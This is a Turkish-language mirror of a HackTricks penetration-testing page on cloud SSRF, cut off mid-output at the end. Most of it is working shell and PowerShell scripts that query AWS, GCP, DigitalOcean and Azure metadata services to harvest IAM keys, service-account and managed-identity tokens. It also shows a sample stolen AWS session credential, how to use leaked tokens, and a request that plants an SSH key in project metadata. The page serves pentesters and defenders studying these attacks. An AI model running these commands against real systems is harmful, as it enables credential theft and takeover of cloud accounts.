mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
505 lines
36 KiB
Markdown
505 lines
36 KiB
Markdown
# Bulut SSRF
|
||
|
||
<details>
|
||
|
||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
|
||
|
||
</details>
|
||
|
||
**Try Hard Güvenlik Grubu**
|
||
|
||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
***
|
||
|
||
## AWS
|
||
|
||
### AWS EC2 Ortamında SSRF Kötüye Kullanımı
|
||
|
||
**Metadata** uç noktasına herhangi bir EC2 makinesinden erişilebilir ve hakkında ilginç bilgiler sunar. URL'de erişilebilir: `http://169.254.169.254` ([metadata hakkında bilgi burada](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||
|
||
Metadata uç noktasının **2 versiyonu** vardır. **İlk** versiyon, uç noktaya **GET** istekleri aracılığıyla **erişim sağlar** (bu nedenle herhangi bir **SSRF bunu kötüye kullanabilir**). **Versiyon 2** için, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), bir **token** istemeniz ve bu tokenı başka bir HTTP başlığı ile kullanmanız gerekmektedir (bu nedenle bir SSRF ile **kötüye kullanmak daha karmaşıktır**).
|
||
|
||
{% hint style="danger" %}
|
||
EC2 örneği IMDSv2'yi zorluyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı**nın bir **atlamalık sınırı 1** olacaktır, bu da EC2 metadata'sine EC2 örneği içindeki bir konteynerden erişimi imkansız hale getirecektir.
|
||
|
||
Ayrıca, **IMDSv2**, `X-Forwarded-For` başlığını içeren bir token almak için yapılan istekleri de **engelleyecektir**. Bu, yanlış yapılandırılmış ters proxy'lerin buna erişmesini engellemek içindir.
|
||
{% endhint %}
|
||
|
||
[Belgelerde metadata uç noktaları hakkında bilgi](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html) bulabilirsiniz. Aşağıdaki betikte, bu uç noktadan bazı ilginç bilgiler elde edilmektedir:
|
||
```bash
|
||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||
URL="http://169.254.169.254/latest/meta-data"
|
||
|
||
aws_req=""
|
||
if [ "$(command -v curl)" ]; then
|
||
aws_req="curl -s -f -H '$HEADER'"
|
||
elif [ "$(command -v wget)" ]; then
|
||
aws_req="wget -q -O - -H '$HEADER'"
|
||
else
|
||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||
fi
|
||
|
||
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
||
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
||
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
||
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
||
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
||
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
||
|
||
echo ""
|
||
echo "Account Info"
|
||
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
||
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
|
||
|
||
echo ""
|
||
echo "Network Info"
|
||
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
||
echo "Mac: $mac"
|
||
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
||
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
||
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
||
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
||
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
||
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
||
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
||
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
||
echo ""
|
||
done
|
||
|
||
echo ""
|
||
echo "IAM Role"
|
||
eval $aws_req "$URL/iam/info"
|
||
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
||
echo "Role: $role"
|
||
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
||
echo ""
|
||
done
|
||
|
||
echo ""
|
||
echo "User Data"
|
||
# Search hardcoded credentials
|
||
eval $aws_req "http://169.254.169.254/latest/user-data"
|
||
|
||
echo ""
|
||
echo "EC2 Security Credentials"
|
||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||
```
|
||
**Genel olarak kullanılabilir IAM kimlik bilgileri** örneğine şu adresten ulaşabilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||
|
||
Ayrıca genel **EC2 güvenlik kimlik bilgilerini** şuradan kontrol edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||
|
||
Daha sonra **bu kimlik bilgilerini AWS CLI ile kullanabilirsiniz**. Bu, size rolün izin verdiği **herhangi bir işlemi yapma imkanı sağlayacaktır**.
|
||
|
||
Yeni kimlik bilgilerinden faydalanmak için, şu şekilde yeni bir AWS profil oluşturmanız gerekecektir:
|
||
```
|
||
[profilename]
|
||
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||
```
|
||
**aws\_session\_token** dikkate alınmalıdır, bu profilin çalışması için vazgeçilmezdir.
|
||
|
||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu), keşfedilen kimlik bilgileriyle kullanılabilir, ayrıcalıklarınızı bulmak ve ayrıcalıkları yükseltmeye çalışmak için kullanılabilir
|
||
|
||
### AWS ECS (Container Service) kimlik bilgilerinde SSRF
|
||
|
||
**ECS**, kendi küme yönetim altyapınızı ölçeklendirmenize gerek kalmadan bir uygulamayı çalıştırabileceğiniz EC2 örneklerinin mantıksal bir grubudur çünkü ECS bunu sizin için yönetir. **ECS** içinde çalışan hizmeti ele geçirmeyi başarırsanız, **metadata uç noktaları değişir**.
|
||
|
||
Eğer _**http://169.254.170.2/v2/credentials/\<GUID>**_ adresine erişirseniz, ECS makinesinin kimlik bilgilerini bulacaksınız. Ancak önce **\<GUID>**'yi bulmanız gerekmektedir. \<GUID>'yi bulmak için makine içindeki **environ** değişkeni **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**'yi okumanız gerekmektedir.\
|
||
Bunu başarabilmek için bir **Path Traversal**'ı sömürerek `file:///proc/self/environ`'ı okuyabilirsiniz.\
|
||
Bahsedilen http adresi size **AccessKey, SecretKey ve token**'ı verecektir.
|
||
```bash
|
||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||
```
|
||
{% hint style="info" %}
|
||
**Bazı durumlarda** **konteynerden EC2 meta verilerine** erişebileceğinizi unutmayın (önceki bahsedilen IMDSv2 TTL sınırlamalarını kontrol edin). Bu senaryolarda konteynerden hem konteyner IAM rolüne hem de EC2 IAM rolüne erişebilirsiniz.
|
||
{% endhint %}
|
||
|
||
### AWS Lambda için SSRF <a href="#id-6f97" id="id-6f97"></a>
|
||
|
||
Bu durumda **kimlik bilgileri env değişkenlerinde saklanmaktadır**. Bu nedenle, bunlara erişmek için **`file:///proc/self/environ`** gibi bir şeye erişmeniz gerekmektedir.
|
||
|
||
**İlgili env değişkenlerinin adları** şunlardır:
|
||
|
||
* `AWS_SESSION_TOKEN`
|
||
* `AWS_SECRET_ACCESS_KEY`
|
||
* `AWS_ACCES_KEY_ID`
|
||
|
||
Ayrıca, IAM kimlik bilgilerinin yanı sıra, Lambda fonksiyonlarının başlatıldığında fonksiyona iletilen **olay verileri** de bulunmaktadır. Bu veriler, fonksiyona [çalışma zamanı arayüzü](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) aracılığıyla sunulur ve **duyarlı bilgiler** içerebilir (örneğin **stageVariables** içinde). IAM kimlik bilgilerinin aksine, bu verilere **standart SSRF üzerinden** erişilebilir: **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||
|
||
{% hint style="warning" %}
|
||
**Lambda kimlik bilgilerinin** **env değişkenlerinde** olduğunu unutmayın. Dolayısıyla, lambda kodunun **yığın izini** env değişkenlerini yazdırıyorsa, uygulamada bir hataya neden olarak bunları **dışa aktarmak mümkün olabilir**.
|
||
{% endhint %}
|
||
|
||
### AWS Elastic Beanstalk için SSRF URL <a href="#id-6f97" id="id-6f97"></a>
|
||
|
||
API'den `accountId` ve `region` bilgilerini alıyoruz.
|
||
```
|
||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
Sonra API'den `AccessKeyId`, `SecretAccessKey` ve `Token` değerlerini alıyoruz.
|
||
```
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
|
||
|
||
Ardından kimlik bilgilerini `aws s3 ls s3://elasticbeanstalk-us-east-2-[HESAP_ID]/` kullanıyoruz.
|
||
|
||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||
|
||
[**Metadata uç noktaları hakkındaki belgelere buradan ulaşabilirsiniz**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||
|
||
### Google Cloud için SSRF URL <a href="#id-6440" id="id-6440"></a>
|
||
|
||
HTTP başlığı **`Metadata-Flavor: Google`** gerektirir ve aşağıdaki URL'lerle metadata uç noktasına erişebilirsiniz:
|
||
|
||
* http://169.254.169.254
|
||
* http://metadata.google.internal
|
||
* http://metadata
|
||
|
||
Bilgi çıkarmak için ilginç uç noktalar:
|
||
```bash
|
||
# /project
|
||
# Project name and number
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||
# Project attributes
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
||
|
||
# /oslogin
|
||
# users
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
|
||
# groups
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
|
||
# security-keys
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
|
||
# authorize
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
|
||
|
||
# /instance
|
||
# Description
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
||
# Hostname
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
||
# ID
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||
# Image
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
||
# Machine Type
|
||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
||
# Name
|
||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
||
# Tags
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
|
||
# Zone
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||
# User data
|
||
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
|
||
# Network Interfaces
|
||
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
|
||
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
|
||
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
|
||
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
|
||
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
|
||
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
|
||
echo " ============== "
|
||
done
|
||
# Service Accounts
|
||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||
echo " Name: $sa"
|
||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||
echo " ============== "
|
||
done
|
||
# K8s Attributtes
|
||
## Cluster location
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
|
||
## Cluster name
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
|
||
## Os-login enabled
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
|
||
## Kube-env
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
|
||
## Kube-labels
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
|
||
## Kubeconfig
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
|
||
|
||
# All custom project attributes
|
||
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
|
||
-H "Metadata-Flavor: Google"
|
||
|
||
# All custom project attributes instance attributes
|
||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||
-H "Metadata-Flavor: Google"
|
||
```
|
||
Beta şu anda bir başlık gerektirmiyor (teşekkürler Mathias Karlsson @avlidienbrunn)
|
||
```
|
||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||
```
|
||
{% hint style="danger" %}
|
||
**Sızdırılan hizmet hesabı jetonunu kullanmak için** sadece şunu yapabilirsiniz:
|
||
```bash
|
||
# Via env vars
|
||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||
gcloud projects list
|
||
|
||
# Via setup
|
||
echo "<token>" > /some/path/to/token
|
||
gcloud config set auth/access_token_file /some/path/to/token
|
||
gcloud projects list
|
||
gcloud config unset auth/access_token_file
|
||
```
|
||
{% endhint %}
|
||
|
||
### Bir SSH anahtarı ekle <a href="#id-3e24" id="id-3e24"></a>
|
||
|
||
Token'ı çıkar
|
||
```
|
||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||
```
|
||
Kapsamı belirle (önceki çıktı ile veya aşağıdakini çalıştırarak)
|
||
```bash
|
||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||
"issued_to": "101302079XXXXX",
|
||
"audience": "10130207XXXXX",
|
||
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
||
"expires_in": 2443,
|
||
"access_type": "offline"
|
||
}
|
||
```
|
||
Şimdi SSH anahtarınızı gönderin.
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
||
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
||
-H "Content-Type: application/json"
|
||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||
```
|
||
{% endcode %}
|
||
|
||
### Bulut Fonksiyonları <a href="#id-9f1f" id="id-9f1f"></a>
|
||
|
||
VM'lerde olduğu gibi, meta veri uç noktası aynı şekilde çalışır ancak bazı uç noktalar olmadan:
|
||
```bash
|
||
# /project
|
||
# Project name and number
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||
|
||
# /instance
|
||
# ID
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||
# Zone
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||
# Auto MTLS config
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
|
||
# Service Accounts
|
||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||
echo " Name: $sa"
|
||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||
echo " ============== "
|
||
done
|
||
```
|
||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||
|
||
{% hint style="warning" %}
|
||
AWS Roller veya GCP hizmet hesabı gibi şeyler yok, bu yüzden kimlik bilgileri botunu bulmayı beklemeyin
|
||
{% endhint %}
|
||
|
||
Belgelendirme [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) adresinde mevcuttur.
|
||
```
|
||
curl http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1.json
|
||
http://169.254.169.254/metadata/v1/
|
||
http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1/user-data
|
||
http://169.254.169.254/metadata/v1/hostname
|
||
http://169.254.169.254/metadata/v1/region
|
||
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
||
curl http://169.254.169.254/metadata/v1.json | jq
|
||
```
|
||
## Azure <a href="#cea8" id="cea8"></a>
|
||
|
||
### Azure VM
|
||
|
||
[**Belgeler** burada](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||
|
||
* Başlık `Metadata: true` içermelidir
|
||
* `X-Forwarded-For` başlığı içermemelidir
|
||
|
||
{% tabs %}
|
||
{% tab title="Bash" %}
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
HEADER="Metadata:true"
|
||
URL="http://169.254.169.254/metadata"
|
||
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
||
|
||
echo "Instance details"
|
||
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
|
||
|
||
echo "Load Balancer details"
|
||
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
|
||
|
||
echo "Management Token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
|
||
|
||
echo "Graph token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
|
||
|
||
echo "Vault token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
|
||
|
||
echo "Storage token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
|
||
```
|
||
{% endcode %}
|
||
{% endtab %}
|
||
|
||
{% tab title="PS" %}
|
||
```bash
|
||
# Powershell
|
||
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
|
||
## User data
|
||
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
|
||
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
|
||
|
||
# Paths
|
||
/metadata/instance?api-version=2017-04-02
|
||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||
```
|
||
### Azure Uygulama Servisi
|
||
|
||
**env** içerisinden `IDENTITY_HEADER` ve `IDENTITY_ENDPOINT` değerlerini alabilirsiniz. Bu değerleri kullanarak meta veri sunucusu ile iletişim kurmak için bir belirteç toplayabilirsiniz.
|
||
|
||
Çoğu zaman, bu kaynaklardan biri için bir belirteç istersiniz:
|
||
|
||
* [https://storage.azure.com](https://storage.azure.com/)
|
||
* [https://vault.azure.net](https://vault.azure.net/)
|
||
* [https://graph.microsoft.com](https://graph.microsoft.com/)
|
||
* [https://management.azure.com](https://management.azure.com/)
|
||
```bash
|
||
# Check for those env vars to know if you are in an Azure app
|
||
echo $IDENTITY_HEADER
|
||
echo $IDENTITY_ENDPOINT
|
||
|
||
# You should also be able to find the folder:
|
||
ls /opt/microsoft
|
||
#and the file
|
||
ls /opt/microsoft/msodbcsql17
|
||
|
||
# Get management token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||
# Get graph token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||
|
||
# API
|
||
# Get Subscriptions
|
||
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
|
||
curl -H "Authorization: $TOKEN" "$URL"
|
||
# Get current permission on resources in the subscription
|
||
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
|
||
curl -H "Authorization: $TOKEN" "$URL"
|
||
# Get permissions in a VM
|
||
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
|
||
curl -H "Authorization: $TOKEN" "$URL"
|
||
```
|
||
|
||
```powershell
|
||
# API request in powershell to management endpoint
|
||
$Token = 'eyJ0eX..'
|
||
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||
$RequestParams = @{
|
||
Method = 'GET'
|
||
Uri = $URI
|
||
Headers = @{
|
||
'Authorization' = "Bearer $Token"
|
||
}
|
||
}
|
||
(Invoke-RestMethod @RequestParams).value
|
||
|
||
# API request to graph endpoint (get enterprise applications)
|
||
$Token = 'eyJ0eX..'
|
||
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
||
$RequestParams = @{
|
||
Method = 'GET'
|
||
Uri = $URI
|
||
Headers = @{
|
||
'Authorization' = "Bearer $Token"
|
||
}
|
||
}
|
||
(Invoke-RestMethod @RequestParams).value
|
||
|
||
# Using AzureAD Powershell module witho both management and graph tokens
|
||
$token = 'eyJ0e..'
|
||
$graphaccesstoken = 'eyJ0eX..'
|
||
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
|
||
|
||
# Try to get current perms over resources
|
||
Get-AzResource
|
||
## The following error means that the user doesn't have permissions over any resource
|
||
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
|
||
At line:1 char:1
|
||
+ Get-AzResource
|
||
+ ~~~~~~~~~~~~~~
|
||
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
|
||
+ FullyQualifiedErrorId :
